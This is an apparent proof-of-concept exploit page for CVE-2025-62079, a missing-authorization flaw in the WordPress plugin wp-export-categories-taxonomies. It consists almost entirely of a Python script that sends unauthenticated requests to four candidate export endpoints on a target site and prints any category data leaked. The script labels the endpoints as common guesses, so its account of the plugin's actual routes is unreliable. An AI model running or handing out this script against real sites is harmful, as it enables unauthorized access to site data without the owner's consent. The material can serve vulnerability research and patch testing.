CVE-2025-62079 WordPress wp-export-categories-taxonomies插件缺失授权漏洞

import requests import sys # CVE-2025-62079 PoC - Missing Authorization in wp-export-categories-taxonomies # This PoC demonstrates how an unauthenticated user can export categories without authorization def exploit_cve_2025_62079(target_url): """ Exploit missing authorization vulnerability in wp-export-categories-taxonomies plugin. Target: WordPress site with wp-export-categories-taxonomies <= 1.0.3 installed """ # Common export endpoints for this plugin endpoints = [ f"{target_url}/wp-admin/admin-ajax.php?action=export_categories_taxonomies", f"{target_url}/wp-admin/admin-ajax.php?action=wp_export_categories", f"{target_url}/?rest_route=/wp-export-categories/v1/export", f"{target_url}/wp-json/wp-export-categories/v1/export" ] print(f"[*] Testing CVE-2025-62079 on {target_url}") print(f"[*] Target plugin: wp-export-categories-taxonomies <= 1.0.3") print(f"[*] Vulnerability: Missing Authorization (Broken Access Control)") for endpoint in endpoints: try: # Send request without authentication response = requests.get(endpoint, timeout=10) # Check if the response contains category data if response.status_code == 200: content_type = response.headers.get('Content-Type', '') # Check for JSON or CSV response containing category data if 'json' in content_type or 'csv' in content_type or response.text.startswith(('[', '{')): print(f"\n[!] VULNERABLE! Endpoint: {endpoint}") print(f"[!] Status Code: {response.status_code}") print(f"[!] Content-Type: {content_type}") print(f"[!] Response Preview:\n{response.text[:500]}") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {endpoint}: {e}") print("\n[*] No vulnerable endpoint found or target is not affected") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-62079.py <target_url>") print("Example: python cve-2025-62079.py http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_cve_2025_62079(target)